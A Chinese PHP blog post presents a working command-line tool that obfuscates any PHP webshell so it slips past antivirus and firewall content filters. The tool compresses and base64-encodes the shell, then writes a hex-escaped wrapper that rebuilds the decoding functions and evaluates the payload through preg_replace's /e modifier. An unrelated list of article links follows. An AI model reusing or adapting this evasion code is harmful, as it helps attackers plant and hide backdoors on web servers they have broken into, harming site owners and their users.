php shell超强免杀、减少体积工具实现代码


Posted in PHP onOctober 16, 2012

lostwolf写的
这不是webshell,只是个webshell免杀工具
切勿当初webshell使用
仅限免杀phpwebshell
该工具运行在 cli 模式!
如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马!
任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙

<?php 
/* 
Title: PHP shell nokill T00L 
Blog: exploit-db.blogcn.com 
*/ 
error_reporting(0); 
@ini_set('memory_limit','-1'); 
set_time_limit(0); 
$toolname="$argv[0]"; 
if ($argc<2) { 
baner($toolname); 
die; 
} 
$input_file= trim($argv[1]); 
$output_file='nokill_'.$input_file; 
if (file_exists($input_file)) { 
No_kill_c0de($input_file,$output_file); 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Input: {$input_file}\r\n"; 
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; 
echo "[+] Generate success!\r\n"; 
echo "Saved to {$file_full_path}"."\r\n"; 
} else { 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
die("[-] Failed ! The File $input_file does not exist"); 
} 
function No_kill_c0de($input_file,$output_file){ 
$no_whitespace=php_strip_whitespace($input_file); 
$no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); 
$enfile=base64_encode(gzdeflate($no_php_tag)); 
$shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; 
$shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; 
$shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; 
$shellcode.="\x3f\x3e"; 
file_put_contents("$output_file",$shellcode); 
} 
function baner($toolname){ 
echo "PHP shell nokill T00L\r\n"; 
echo "Blog: exploit-db.blogcn.com\r\n"; 
echo "Usage: {$toolname} phpwebshell\r\n"; 
} 
?>
PHP 相关文章推荐
php 时间计算问题小结
Jan 04 PHP
PHP图片处理类 phpThumb参数用法介绍
Mar 11 PHP
如何在Ubuntu下启动Apache的Rewrite功能
Jul 05 PHP
php生成缩略图填充白边(等比缩略图方案)
Dec 25 PHP
php上传中文文件名乱码问题处理方案
Feb 03 PHP
PHP中的流(streams)浅析
Jul 02 PHP
PHP实现操作redis的封装类完整实例
Nov 14 PHP
PHP中加速、缓存扩展的区别和作用详解(eAccelerator、memcached、xcache、APC )
Jul 09 PHP
PHP CURL post数据报错 failed creating formpost data
Oct 16 PHP
PHP实现深度优先搜索算法(DFS,Depth First Search)详解
Sep 16 PHP
php文件上传原理与实现方法详解
Dec 20 PHP
ThinkPHP5框架中使用JWT的方法示例
Jun 03 PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
域名和cookie问题(域名后缀)
Oct 10 #PHP
You might like
PHP下escape解码函数的实现方法
2010/08/08 PHP
PHP版国家代码、缩写查询函数代码
2011/08/14 PHP
关于PHP结束标签的使用细节探讨及联想
2013/03/04 PHP
js代码实现微博导航栏
2015/07/30 PHP
PHP常用文件操作函数和简单实例分析
2016/06/03 PHP
PHP程序员学习使用Swoole的理由
2018/06/24 PHP
extjs 学习笔记(一) 一些基础知识
2009/10/13 Javascript
学习JavaScript设计模式之策略模式
2016/01/12 Javascript
javascript将中国数字格式转换成欧式数字格式的简单实例
2016/08/02 Javascript
js自调用匿名函数的三种写法(推荐)
2016/08/19 Javascript
JavaScript实现类似拉勾网的鼠标移入移出效果
2016/10/27 Javascript
bootstrap实现动态进度条效果
2017/03/08 Javascript
用Vue写一个分页器的示例代码
2018/04/22 Javascript
JavaScript数组去重算法实例小结
2018/05/07 Javascript
vue中使用 pako.js 解密 gzip加密字符串的方法
2019/06/10 Javascript
Nodejs 微信小程序消息推送的实现
2021/01/20 NodeJs
Python内置函数之filter map reduce介绍
2014/11/30 Python
Django values()和value_list()的使用
2020/03/31 Python
python中sort sorted reverse reversed函数的区别说明
2020/05/11 Python
PyQt5实现画布小程序
2020/05/30 Python
python SOCKET编程基础入门
2021/02/27 Python
CSS3实现伪类hover离开时平滑过渡效果示例
2017/08/10 HTML / CSS
HTML5 localStorage使用总结
2017/02/22 HTML / CSS
印度服装购物网站:Limeroad
2018/09/26 全球购物
北美主要的汽车零部件零售商:AutoShack.com
2019/02/23 全球购物
澳大利亚个性化儿童礼品网站:Bright Star Kids
2019/06/14 全球购物
德国W家官网,可直邮中国的母婴商城:Windeln.de
2021/03/03 全球购物
学生个人求职自荐信格式
2013/09/23 职场文书
毕业生优秀推荐信
2013/11/26 职场文书
采购类个人求职的自我评价
2014/02/18 职场文书
民主评议教师党员自我评价
2015/03/04 职场文书
学雷锋献爱心倡议书
2015/04/27 职场文书
乡镇安全生产月活动总结
2015/05/08 职场文书
债务纠纷起诉书
2015/05/20 职场文书
解决MySQL存储时间出现不一致的问题
2021/04/28 MySQL
Spring Boot 整合 Apache Dubbo的示例代码
2021/07/04 Java/Android